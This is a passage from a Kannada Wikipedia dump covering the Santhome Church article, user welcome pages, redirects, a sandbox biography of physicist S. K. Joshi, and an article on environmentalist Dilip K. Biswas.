ಮಾತೆಯ]] ಪೋರ್ಚುಗೀಸ್ ಪ್ರತಿಮೆಯನ್ನು 1523 ರಲ್ಲಿ [[ಲಿಸ್ಬನ್|ಲಿಸ್ಬನ್‌ನಿಂದ]] ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ಗೆ ತರಲಾಯಿತು ಮತ್ತು ಈಗ ಅದನ್ನು ಚರ್ಚ್‌ನ ಬಲಿಪೀಠದ ಎಡಭಾಗದಲ್ಲಿ ಇರಿಸಲಾಗಿದೆ. ಸಂತ ಮೇರಿಯ ಮರದ ಪ್ರತಿಮೆಯನ್ನು ಚಿನ್ನದ ಬಣ್ಣದಿಂದ ಲೇಪಿಸಲಾಗಿದೆ ಮತ್ತು ಒಂದು ವಿಶೇಷ ಬಲಿಪೀಠದ ಮೇಲೆ ಇರಿಸಲಾಗಿದೆ. === ಸೇಂಟ್ ಥಾಮಸ್‍ನ ಕಂಬ === ದಡಕ್ಕೆ ತೇಲಿಕೊಂಡು ಬಂದ ಕಟ್ಟಿಗೆಯಿಂದ ನಿರ್ಮಿಸಲಾದ ಈ ಕಂಬವನ್ನು ಏಸುದೂತ ಸೇಂಟ್ ಥಾಮಸ್ ಸ್ಥಾಪಿಸಿದನೆಂದು ನಂಬಲಾಗಿದೆ. [[ಚಿತ್ರ:SANTHOME_CATHEDRAL_-_JUST_BEFORE_EVENING_MASS.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/f/f2/SANTHOME_CATHEDRAL_-_JUST_BEFORE_EVENING_MASS.jpg/220px-SANTHOME_CATHEDRAL_-_JUST_BEFORE_EVENING_MASS.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಕಥೀಡ್ರಲ್ - ಒಳಗಿನ ನೋಟ.]] [[ಚಿತ್ರ:SANTHOME_CATHEDRAL-_SIDE_VIEW_FROM_BACK_SIDE_(EVENING_MASS).jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/0/00/SANTHOME_CATHEDRAL-_SIDE_VIEW_FROM_BACK_SIDE_%28EVENING_MASS%29.jpg/220px-SANTHOME_CATHEDRAL-_SIDE_VIEW_FROM_BACK_SIDE_%28EVENING_MASS%29.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಕಥೀಡ್ರಲ್-ಹಿಂಭಾಗದಿಂದ ಪಾರ್ಶ್ವ ನೋಟ]] == ಸ್ಯಾನ್‍ಥೋಮ್ ವಸ್ತುಸಂಗ್ರಹಾಲಯ == ಚರ್ಚ್‌ಗೆ ಹೊಂದಿಕೊಂಡ ಒಂದು ವಸ್ತುಸಂಗ್ರಹಾಲಯವಿದ್ದು ಇದು ಏಸುದೂತ ಸೇಂಟ್ ಥಾಮಸ್‍ ಮತ್ತು ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್ ಮತ್ತು ಸಮಾಧಿಗೆ ಸೇರಿದ ಐತಿಹಾಸಿಕ ವಸ್ತುಗಳನ್ನು ಹೊಂದಿದೆ. ಇದು 7-8 ನೇ ಶತಮಾನದ ಅತ್ಯಂತ ಹಳೆಯ ಶಿಲುಬೆ ಮತ್ತು [[ಶಾಸನಗಳು|ಶಾಸನವನ್ನು]] ಹೊಂದಿದೆ. ಇದು ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಹಿಂಭಾಗದಲ್ಲಿದೆ. ಮ್ಯೂಸಿಯಮ್‍ನಲ್ಲಿ ಏಸುದೂತ ಸೇಂಟ್ ಥಾಮಸ್, ಸೇಂಟ್ ಥಾಮಸ್‍ನ ಸಮಾಧಿ ಮತ್ತು ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್ ಮತ್ತು ಹೆಚ್ಚಿನವುಗಳ ಬಗ್ಗೆ ಮಾಹಿತಿ ಕೇಂದ್ರವಿದೆ. [[ಚಿತ್ರ:Santhome_museum.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/2/22/Santhome_museum.jpg/220px-Santhome_museum.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಮ್ಯೂಸಿಯಂ‍ನ ಒಳಗಿನ ಭಾಗ]] == ಛಾಯಾಂಕಣ == [[ಚಿತ್ರ:Santhome_high_altar.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/1/12/Santhome_high_altar.jpg/220px-Santhome_high_altar.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್‍ನ ಎತ್ತರದ ಬಲಿಪೀಠ - ಯೇಸುವಿನ ಪ್ರತಿಮೆ.]] [[ಚಿತ್ರ:Mylai_mathq.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/9/91/Mylai_mathq.jpg/220px-Mylai_mathq.jpg|thumb| ಮೈಲಾಪುರ ಮಾತಾಳ ಪ್ರತಿಮೆ.]] [[ಚಿತ್ರ:SANTHOME_CATHEDRAL-_ST.THOMAS_AND_JESUS_(INSIDE).jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/4/49/SANTHOME_CATHEDRAL-_ST.THOMAS_AND_JESUS_%28INSIDE%29.jpg/220px-SANTHOME_CATHEDRAL-_ST.THOMAS_AND_JESUS_%28INSIDE%29.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಕಥೀಡ್ರಲ್ - ಸೇಂಟ್ ಥಾಮಸ್ ಮತ್ತು ಜೀಸಸ್.]] [[ಚಿತ್ರ:SANTHOME_CATHEDRAL_DURING_MASS.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/6/6b/SANTHOME_CATHEDRAL_DURING_MASS.jpg/220px-SANTHOME_CATHEDRAL_DURING_MASS.jpg|thumb| ಸಂಜೆಯ ದಿವ್ಯಪೂಜೆಯ ಸಮಯದಲ್ಲಿ ಸ್ಯಾನ್‍ಥೋಮ್ ಕಥೀಡ್ರಲ್]] [[ಚಿತ್ರ:Chair_of_Santhome_Church.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/b/b0/Chair_of_Santhome_Church.jpg/220px-Chair_of_Santhome_Church.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಪೀಠ]] [[ಚಿತ್ರ:Spire_1_santhome.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/5/52/Spire_1_santhome.jpg/220px-Spire_1_santhome.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಗಂಟೆ ಗೋಪುರ.]] [[ಚಿತ್ರ:Spire_2_Santhome.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/9/9a/Spire_2_Santhome.jpg/220px-Spire_2_Santhome.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಎರಡನೇ ಮಿನಾರು.]] [[ಚಿತ್ರ:Santhome_spire_and_church_sideview.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/c/cd/Santhome_spire_and_church_sideview.jpg/220px-Santhome_spire_and_church_sideview.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ವೈಮಾನಿಕ ಪಾರ್ಶ್ವ ನೋಟ.]] [[ಚಿತ್ರ:Santhome_church_eagle_pulpit.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/6/63/Santhome_church_eagle_pulpit.jpg/220px-Santhome_church_eagle_pulpit.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಗರುಡ ಪ್ರವಚನಪೀಠ.]] [[ಚಿತ್ರ:Saint_Thomas_tomb.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Saint_Thomas_tomb.jpg/220px-Saint_Thomas_tomb.jpg|thumb| ಸೇಂಟ್ ಥಾಮಸ್‍ನ ಸಮಾಧಿ.]] [[ಚಿತ್ರ:Santhome_main_altar.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/f/f8/Santhome_main_altar.jpg/220px-Santhome_main_altar.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್‍ನ ಮುಖ್ಯ ಬಲಿಪೀಠ]] == ವರ್ಣರಂಜಿತ ಗಾಜು == [[ಚಿತ್ರ:Santhome_stained_glass.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/1/1d/Santhome_stained_glass.jpg/220px-Santhome_stained_glass.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಬಣ್ಣದ ಗಾಜು-ಎಡಭಾಗ.]] [[ಚಿತ್ರ:Santhome_church_stained_glass.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/9/96/Santhome_church_stained_glass.jpg/220px-Santhome_church_stained_glass.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಬಣ್ಣದ ಗಾಜು-ಮುಖ್ಯ ಬಲಿಪೀಠ.]] [[ಚಿತ್ರ:Santhome_Church_window.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Santhome_Church_window.jpg/220px-Santhome_Church_window.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಕೆಳಗಿನ ಕಿಟಕಿ.]] [[ಚಿತ್ರ:Santhome_Church_door.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/e/e9/Santhome_Church_door.jpg/220px-Santhome_Church_door.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಮುಖ್ಯ ಬಾಗಿಲು.]] [[ಚಿತ್ರ:Santhome_upper_stained_glass.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/b/b9/Santhome_upper_stained_glass.jpg/220px-Santhome_upper_stained_glass.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಮೇಲಿನ ಕಿಟಕಿ-ಮುಖ್ಯ ಬಲಿಪೀಠ.]] [[ಚಿತ್ರ:Santhome_choir_stained_glass.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/3/34/Santhome_choir_stained_glass.jpg/220px-Santhome_choir_stained_glass.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಚರ್ಚ್‌ನ ಬಣ್ಣದ ಗಾಜು-ಮೇಲಿನ ಮಹಡಿ.]] [[ಚಿತ್ರ:Santhome_coloured_stained_glass_window.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/f/fe/Santhome_coloured_stained_glass_window.jpg/220px-Santhome_coloured_stained_glass_window.jpg|thumb| ಸ್ಯಾನ್‍ಥೋಮ್ ಬಣ್ಣದ ಕಿಟಕಿ.]] == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == * [http://santhomechurch.com/ Official website of San Thome Church] * [http://sites.google.com/site/santhomythgrp/ San Thome Church Youth Group] [[ವರ್ಗ:ತಮಿಳುನಾಡು]] [[ವರ್ಗ:ಚರ್ಚುಗಳು]] 5tzevjuws76tfrwo2wa7f8sdtbhgpu0 ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:Chidananda desai 3 144841 1116494 2022-08-23T14:45:41Z ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ 44987 ಹೊಸ ಬಳಕೆದಾರರ ಸ್ವಾಗತ wikitext text/x-wiki {{ಟೆಂಪ್ಲೇಟು:ಸುಸ್ವಾಗತ|realName=|name=Chidananda desai}} -- [[ಸದಸ್ಯ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಚರ್ಚೆ]]) ೧೪:೪೫, ೨೩ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) 6p1w0zg74wjwxjheoz3m7gyanwl7tli ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ 0 144842 1116507 2022-08-23T15:34:43Z ChiK 40016 ChiK moved page [[ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ]] to [[ಆಧಾರ್]] over redirect wikitext text/x-wiki #REDIRECT [[ಆಧಾರ್]] a2yxu9bg8hkygcd13vvkt5ktibrl8fz ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ 0 144843 1116514 2022-08-23T15:45:02Z Ishqyk 76644 Ishqyk [[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]] ಪುಟವನ್ನು [[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] ಕ್ಕೆ ಸರಿಸಿದ್ದಾರೆ: Spelling mistake wikitext text/x-wiki #REDIRECT [[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] 342fms1on40q7y5df914bfr6k7yeme2 ಚಿತ್ರ:ಆಧಾರ್ ಲಾಂಛನ.svg 6 144844 1116527 2022-08-23T16:10:21Z ChiK 40016 wikitext text/x-wiki == ಪರವಾನಗಿ == {{Non-free logo}} pbez1jyfwk5tdrabvfrgboihq94an1i ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:Muzaahid 3 144845 1116535 2022-08-23T17:54:59Z ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ 44987 ಹೊಸ ಬಳಕೆದಾರರ ಸ್ವಾಗತ wikitext text/x-wiki {{ಟೆಂಪ್ಲೇಟು:ಸುಸ್ವಾಗತ|realName=|name=Muzaahid}} -- [[ಸದಸ್ಯ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಚರ್ಚೆ]]) ೧೭:೫೪, ೨೩ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) nsh08hd2fz4noxap20pxief5gefn4lc ಸದಸ್ಯ:LavanyaGowda.K P/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144846 1116561 2022-08-24T03:50:14Z LavanyaGowda.K P 77737 ಹೊಸ ಪುಟ: ಪ್ರೊಫೆಸರ್ ಎಸ್ ಕೆ ಜೋಶಿ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಶ್ರೀ ಕೃಷ್ಣ ಜೋಶಿ ಅವರು ಈ ದೇಶದ ಅತ್ಯುತ್ತಮ ವಿಜ್ಞಾನ ನಾಯಕರಲ್ಲಿ ಒಬ್ಬರು ಮತ್ತು ಸಾಂದ್ರೀಕೃತ ವಸ್ತು ಭೌತಶಾಸ್ತ್ರಜ್ಞರು 15 ಮೇ 2020 ರಂದು ತಮ್ಮ 86 ನೇ ವಯಸ... wikitext text/x-wiki ಪ್ರೊಫೆಸರ್ ಎಸ್ ಕೆ ಜೋಶಿ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಶ್ರೀ ಕೃಷ್ಣ ಜೋಶಿ ಅವರು ಈ ದೇಶದ ಅತ್ಯುತ್ತಮ ವಿಜ್ಞಾನ ನಾಯಕರಲ್ಲಿ ಒಬ್ಬರು ಮತ್ತು ಸಾಂದ್ರೀಕೃತ ವಸ್ತು ಭೌತಶಾಸ್ತ್ರಜ್ಞರು 15 ಮೇ 2020 ರಂದು ತಮ್ಮ 86 ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಹರಿಯಾಣದ ಗುರುಗ್ರಾಮ್‌ನಲ್ಲಿರುವ ತಮ್ಮ ನಿವಾಸದಲ್ಲಿ ತಮ್ಮ ಸ್ವರ್ಗೀಯ ನಿವಾಸಕ್ಕೆ ತೆರಳಿದರು. ಮಾರ್ಚ್ ತಿಂಗಳಿನಲ್ಲಿ ದೇಶದಲ್ಲಿ ಕರೋನಾ ಲಾಕ್-ಡೌನ್ ಪ್ರಾರಂಭವಾಗುವ ಕೆಲವೇ ದಿನಗಳ ಮೊದಲು, ನಾನು ಅವರನ್ನು ಭೇಟಿ ಮಾಡಿ ಅವರ ಆರೋಗ್ಯದ ಬಗ್ಗೆ ಸುದೀರ್ಘವಾಗಿ ಮಾತನಾಡಿದೆ. ಆ ಸಮಯದಲ್ಲಿ ಅವರು ತಮ್ಮ ತೊಡೆಯ ಕ್ಯಾನ್ಸರ್ ನಿಂದ ಬಳಲುತ್ತಿದ್ದರು ಮತ್ತು ಹಾಸಿಗೆಗೆ ಸೀಮಿತರಾಗಿದ್ದರು. ಅವರು ತಮ್ಮ ಎಂದಿನ ವರ್ಚಸ್ವಿ ನಗುವನ್ನು ಹೊಂದಿದ್ದರು, ಅದರ ಕೆಳಗೆ ಅನಾರೋಗ್ಯದ ಆಳವಾದ ನೋವು ಸ್ಪಷ್ಟವಾಗಿತ್ತು. ಹಲವಾರು ಗಂಟೆಗಳ ಸುದೀರ್ಘ ಚರ್ಚೆಯಲ್ಲಿ, ಅವರು ಉತ್ತರಾಖಂಡದ ಒಂದು ಸಣ್ಣ ಹಳ್ಳಿಯಿಂದ ವೈಜ್ಞಾನಿಕ ಮತ್ತು ಕೈಗಾರಿಕಾ ಸಂಶೋಧನಾ ಮಂಡಳಿಯ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, (DG, CSIR), ನವದೆಹಲಿಯ ಸ್ಥಾನವನ್ನು ಹೆಚ್ಚಿಸುವವರೆಗೆ ತಮ್ಮ ಪ್ರಯಾಣವನ್ನು ವಿವರಿಸಿದರು. ಇಂದು ಮೇ 16, 2020 ಈಗಿನ ಡಿಜಿ ಡಾ. ಶೇಖರ್ ಮಾಂಡೆ ಮತ್ತು ನಾನು ಅವರ ಕೊನೆಯ ಪ್ರಯಾಣಕ್ಕೆ ಸೇರಿದೆ ಮತ್ತು ಭಾರತೀಯ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ಅವರ ಅಪಾರ ಕೊಡುಗೆಗಳನ್ನು ಸ್ಮರಿಸಿದೆ. ಅವರ ನಿಧನವು ನಿಜವಾಗಿಯೂ ಯುಗದ ಅಂತ್ಯವಾಗಿದೆ. ಪ್ರೊಫೆಸರ್ ಎಸ್ ಕೆ ಜೋಶಿ ಅವರು ಜೂನ್ 6, 1935 ರಂದು ಭಾರತದ ಉತ್ತರಾಖಂಡದ ಕುಮೌನ್‌ನಲ್ಲಿರುವ ಅನರ್ಪಾ ಎಂಬ ಸಣ್ಣ ಹಳ್ಳಿಯಲ್ಲಿ ಜನಿಸಿದರು. ಅವರ ಶಾಲಾ ದಿನಗಳಲ್ಲಿ, ಅವರು ತಮ್ಮ ಶಾಲೆಯನ್ನು ತಲುಪಲು ಹಿಮಾಲಯದ ಕಠಿಣ ಭೂಪ್ರದೇಶಗಳಲ್ಲಿ ಪ್ರತಿದಿನ ಹಲವಾರು ಕಿಲೋಮೀಟರ್ ನಡೆಯುತ್ತಿದ್ದರು. ಅವರ ಉನ್ನತ ಶಿಕ್ಷಣಕ್ಕಾಗಿ, ಅವರು ಅಲಹಾಬಾದ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಕ್ಕೆ ತೆರಳಿದರು ಮತ್ತು ಪ್ರಥಮ ದರ್ಜೆಯೊಂದಿಗೆ ಬಿಎಸ್ಸಿ ಮತ್ತು ಎಂಎಸ್ಸಿ (ಭೌತಶಾಸ್ತ್ರ) ಪದವಿಗಳನ್ನು ಪಡೆದರು. 1957 ರಲ್ಲಿ, MSc ನಲ್ಲಿ ಚಿನ್ನದ ಪದಕ ವಿಜೇತರಾದ ಅವರಿಗೆ ಅಲಹಾಬಾದ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಭೌತಶಾಸ್ತ್ರದ ಉಪನ್ಯಾಸಕ ಹುದ್ದೆಯನ್ನು ನೀಡಲಾಯಿತು. ಸಮಾನಾಂತರವಾಗಿ, ಅವರು ಕೆ ಬ್ಯಾನರ್ಜಿಯವರೊಂದಿಗೆ ತಮ್ಮ ಡಾಕ್ಟರೇಟ್ ಪದವಿಗಾಗಿ ಸಾವಯವ ಹರಳುಗಳಿಂದ ಹರಡಿರುವ ಎಕ್ಸ್-ರೇ ಸ್ಕ್ಯಾಟರಿಂಗ್ ಅನ್ನು ಮಾಪನ ಮಾಡುವಲ್ಲಿ ತಮ್ಮ ಸಂಶೋಧನಾ ಕಾರ್ಯವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು ಮತ್ತು 1962 ರಲ್ಲಿ ತಮ್ಮ ಪಿಎಚ್‌ಡಿ ಪದವಿಯನ್ನು ಪಡೆದರು. 1965 ರಲ್ಲಿ ಅವರಿಗೆ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ವಿಶ್ವವಿದ್ಯಾಲಯ, ರಿವರ್‌ಸೈಡ್ ಸಂದರ್ಶಕ ಉಪನ್ಯಾಸಕರ ಸ್ಥಾನವನ್ನು ನೀಡಲಾಯಿತು , ಯುಎಸ್ಎ. USA ನಲ್ಲಿ ಎರಡು ವರ್ಷ ಕೆಲಸ ಮಾಡಿದ ನಂತರ, ಅವರು ಭಾರತಕ್ಕೆ ಹಿಂದಿರುಗಿದರು ಮತ್ತು ರೂರ್ಕಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ (ಈಗ IIT ರೂರ್ಕಿ) 32 ವರ್ಷಗಳ ಪ್ರಾಯದಲ್ಲಿ ಭೌತಶಾಸ್ತ್ರದ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ಸೇರಿದರು. ಅವರ ಪಿಎಚ್‌ಡಿ ಸಮಯದಲ್ಲಿ ಅವರ ಪ್ರಾಯೋಗಿಕ ಕೆಲಸ ಮತ್ತು ಯುಎಸ್‌ನಲ್ಲಿ ಅವರ ಅನುಭವ, ಲ್ಯಾಟಿಸ್‌ನ ಸೈದ್ಧಾಂತಿಕ ಅಧ್ಯಯನಗಳಲ್ಲಿ ಅವರಿಗೆ ಗಂಭೀರವಾಗಿ ಆಸಕ್ತಿಯನ್ನುಂಟುಮಾಡಿತು lr6fx7jdqny8tj4ywaeb3n3vj6i7gmq ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:Siddhartha jogan 3 144847 1116571 2022-08-24T06:19:06Z ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ 44987 ಹೊಸ ಬಳಕೆದಾರರ ಸ್ವಾಗತ wikitext text/x-wiki {{ಟೆಂಪ್ಲೇಟು:ಸುಸ್ವಾಗತ|realName=|name=Siddhartha jogan}} -- [[ಸದಸ್ಯ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ]] ([[ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ:ಕನ್ನಡ ವಿಕಿ ಸಮುದಾಯ|ಚರ್ಚೆ]]) ೦೬:೧೯, ೨೪ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) calpgfq80x41ijsybh1482ofw91z7cs ದಿಲಿಪ್ ಕೆ. ಬಿಸ್ವಾಸ್ 0 144848 1116572 2022-08-24T06:20:13Z Pavanaja 5 "[[:en:Special:Redirect/revision/1094168376|Dilip K. Biswas]]" ಪುಟವನ್ನು ಅನುವಾದಿಸುವುದರಿಂದ ಸೃಷ್ಟಿಸಲಾಯಿತು wikitext text/x-wiki   [[Category:Articles with hCards]] '''ದಿಲೀಪ್ ಕೆ. ಬಿಸ್ವಾಸ್''' ಭಾರತೀಯ ಪರಿಸರವಾದಿ ಮತ್ತು ಕೇಂದ್ರ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಮಂಡಳಿ ಮತ್ತು ದೆಹಲಿ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಸಮಿತಿಯ ಮಾಜಿ ಅಧ್ಯಕ್ಷರು. <ref name="Kashmir Ecology and Environment: New Concerns and Strategies">{{Cite book|url=https://books.google.com/books?id=stRIOj66c9gC&q=D.+K.+Biswas&pg=PA11|title=Kashmir Ecology and Environment: New Concerns and Strategies|last=Saligram Bhatt|publisher=APH Publishing|year=2004|isbn=9788176486019|pages=305}}</ref> ಅವರು [[ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ|ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯಲ್ಲಿ]] ಪರಿಸರ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸಿದ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು ಮತ್ತು ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಲವಿದ್ಯುತ್ ಯೋಜನೆಯ ಕಾರ್ಯಸಾಧ್ಯತೆಯನ್ನು ಪರಿಶೀಲಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಯೋಜನೆಯ ವಿರುದ್ಧ ಶಿಫಾರಸು ಮಾಡಿದರು. ಇದು ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯನ್ನು [[ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು|ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ]] ಘೋಷಿಸಲು ಕಾರಣವಾಯಿತು. <ref name="Environment, Development and Society in Contemporary India:An Introduction">{{Cite book|url=https://books.google.com/books?id=Xt9KHerkrkAC&q=Dilip+K.+Biswas&pg=PA180|title=Environment, Development and Society in Contemporary India:An Introduction|last=Prasad|publisher=Macmillan|year=2008|isbn=9780230635302|pages=438}}</ref> ಅವರು ''ಏಷ್ಯಾ ಮತ್ತು ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ ಅನುಷ್ಠಾನದ ಲೇಖಕರಾಗಿದ್ದಾರೆ.'' [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] ಸೂಚಿಸಿದ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ (ಸಿಡಿಎಂ) ಅನುಷ್ಠಾನಕ್ಕೆ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]] ಪ್ರಕಟಿಸಿದ ವರದಿ -''ಸಮಸ್ಯೆಗಳು, ಸವಾಲುಗಳು ಮತ್ತು ಅವಕಾಶಗಳು - ಇದು ಅವರು ತಯಾರಿಸಿದ ವರದಿ.''<ref name="Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities">{{Cite book|url=https://books.google.com/books?id=iHvZiVYXC10C&q=Dilip+K.+Biswas&pg=PP4|title=Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities|last=Dilip K. Biswas|publisher=United Nations Publications|year=2003|isbn=9789211203844|pages=36}}</ref> ಭಾರತದ [[ಉತ್ತರ ಪ್ರದೇಶ|ಉತ್ತರ ಪ್ರದೇಶದ]] ರಾಜಧಾನಿಯಾದ [[ಲಕ್ನೋ|ಲಕ್ನೋದಲ್ಲಿ]] ಪರಿಸರ ನಿರ್ವಹಣಾ ಕಾನೂನುಗಳ ಕರಡು ರಚನೆಯ ಹಿಂದೆ ಅವರ ಕೊಡುಗೆ ಇದೆ.<ref name="A Report on State of Environment Lucknow">{{Cite web|url=http://www.cpcb.nic.in/upload/Publications/Publication_31_sec1_52.pdf|title=A Report on State of Environment Lucknow|date=2016|publisher=Central Pollution Control Board|access-date=14 January 2016}}</ref> ಭಾರತ ಸರ್ಕಾರವು ಅವರಿಗೆ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ೨೦೦೭ ರಲ್ಲಿ ದೇಶದ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವಾದ [[ಪದ್ಮಶ್ರೀ|ಪದ್ಮಶ್ರೀಯ]]ನ್ನು ನೀಡಿ ಪುರಸ್ಕರಿಸಿತು. <ref name="Padma Awards">{{Cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=Padma Awards|date=2016|publisher=Ministry of Home Affairs, Government of India|archive-url=https://web.archive.org/web/20151015193758/http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|archive-date=15 October 2015|access-date=3 January 2016}}</ref> == ಸಹ ನೋಡಿ ==   * ಕ್ಲೀನ್ ಡೆವಲಪ್ಮೆಂಟ್ ಮೆಕ್ಯಾನಿಸಂ * [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] * ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ಉಳಿಸಿ == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite book|url=https://books.google.com/books?id=8PjBzy4cnF8C&q=Dilip+K.+Biswas&pg=PA2|title=A Guidebook for Local Catchment Management in Cities|last=Prof. Mwara (author), Dilip K Biswas (editor)|publisher=UN-HABITAT|year=2005|isbn=9789211317572|pages=107}} <nowiki> [[ವರ್ಗ:ಜೀವಂತ 